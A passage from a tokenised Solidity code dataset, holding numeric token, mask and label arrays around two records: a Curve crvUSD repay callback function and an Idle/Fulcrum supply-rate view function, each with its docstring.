-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xFa2dfE6AF842e3184D305a85d09cfcf220ed4CBd/sources/CurveUsdSwapper.sol
|
@dev Called by curve controller from repay_extended method, sends collateral tokens to this contract check if controller is valid we get _ethCollAmount in tokens from curve how many crvUsd we got after the trade that will be the repay amount how much collateral we have left approve the controller to create new position
|
function callback_repay(
address _user,
uint256,
uint256,
uint256,
uint256[] memory swapData
) external returns (CallbackData memory cb) {
if (!isControllerValid(controllerAddr)) revert CurveUsdInvalidController();
address collToken = ICrvUsdController(controllerAddr).collateral_token();
uint256 swappedAmount = _curveSwap(_user, swapData, collToken, true);
cb.stablecoins = swappedAmount;
cb.collateral = IERC20(collToken).balanceOf(address(this));
IERC20(collToken).safeApprove(controllerAddr, cb.collateral);
IERC20(CRVUSD_TOKEN_ADDR).safeApprove(controllerAddr, cb.stablecoins);
}
| 15,485,732 |
[
1,
4625,
348,
7953,
560,
30,
632,
5206,
11782,
635,
8882,
2596,
628,
2071,
528,
67,
14948,
707,
16,
9573,
4508,
2045,
287,
2430,
358,
333,
6835,
866,
309,
2596,
353,
923,
732,
336,
389,
546,
13535,
6275,
316,
2430,
628,
8882,
3661,
4906,
4422,
90,
3477,
72,
732,
2363,
1839,
326,
18542,
716,
903,
506,
326,
2071,
528,
3844,
3661,
9816,
4508,
2045,
287,
732,
1240,
2002,
6617,
537,
326,
2596,
358,
752,
394,
1754,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1348,
67,
266,
10239,
12,
203,
3639,
1758,
389,
1355,
16,
203,
3639,
2254,
5034,
16,
203,
3639,
2254,
5034,
16,
203,
3639,
2254,
5034,
16,
203,
3639,
2254,
5034,
8526,
3778,
7720,
751,
203,
565,
262,
3903,
1135,
261,
2428,
751,
3778,
2875,
13,
288,
203,
203,
3639,
309,
16051,
291,
2933,
1556,
12,
5723,
3178,
3719,
15226,
22901,
3477,
72,
1941,
2933,
5621,
203,
203,
3639,
1758,
4508,
1345,
273,
26899,
4962,
3477,
72,
2933,
12,
5723,
3178,
2934,
12910,
2045,
287,
67,
2316,
5621,
203,
203,
3639,
2254,
5034,
7720,
1845,
6275,
273,
389,
16683,
12521,
24899,
1355,
16,
7720,
751,
16,
4508,
1345,
16,
638,
1769,
203,
203,
3639,
2875,
18,
15021,
71,
9896,
273,
7720,
1845,
6275,
31,
203,
203,
3639,
2875,
18,
12910,
2045,
287,
273,
467,
654,
39,
3462,
12,
12910,
1345,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
203,
3639,
467,
654,
39,
3462,
12,
12910,
1345,
2934,
4626,
12053,
537,
12,
5723,
3178,
16,
2875,
18,
12910,
2045,
287,
1769,
203,
3639,
467,
654,
39,
3462,
12,
5093,
58,
3378,
40,
67,
8412,
67,
14142,
2934,
4626,
12053,
537,
12,
5723,
3178,
16,
2875,
18,
15021,
71,
9896,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x6735803b326682168d24241B8D80f0c06115F580/sources/IdleFulcrumV2.sol
|
* Calculate next supply rate from Fulcrum, given an `_amount` supplied (last array param) and all other params supplied. @param params : array with all params needed for calculation (see below) @return : yearly net rate/
|
function nextSupplyRateWithParams(uint256[] calldata params)
external view
returns (uint256) {
return iERC20Fulcrum(token).nextSupplyInterestRate(params[2]);
}
| 4,150,305 |
[
1,
4625,
348,
7953,
560,
30,
380,
9029,
1024,
14467,
4993,
628,
478,
332,
3353,
379,
16,
864,
392,
1375,
67,
8949,
68,
4580,
261,
2722,
526,
579,
13,
471,
777,
1308,
859,
4580,
18,
632,
891,
859,
294,
526,
598,
777,
859,
3577,
364,
11096,
261,
5946,
5712,
13,
632,
2463,
294,
3286,
715,
2901,
4993,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
1024,
3088,
1283,
4727,
19591,
12,
11890,
5034,
8526,
745,
892,
859,
13,
203,
565,
3903,
1476,
203,
565,
1135,
261,
11890,
5034,
13,
288,
203,
1377,
327,
277,
654,
39,
3462,
23747,
3353,
379,
12,
2316,
2934,
4285,
3088,
1283,
29281,
4727,
12,
2010,
63,
22,
19226,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
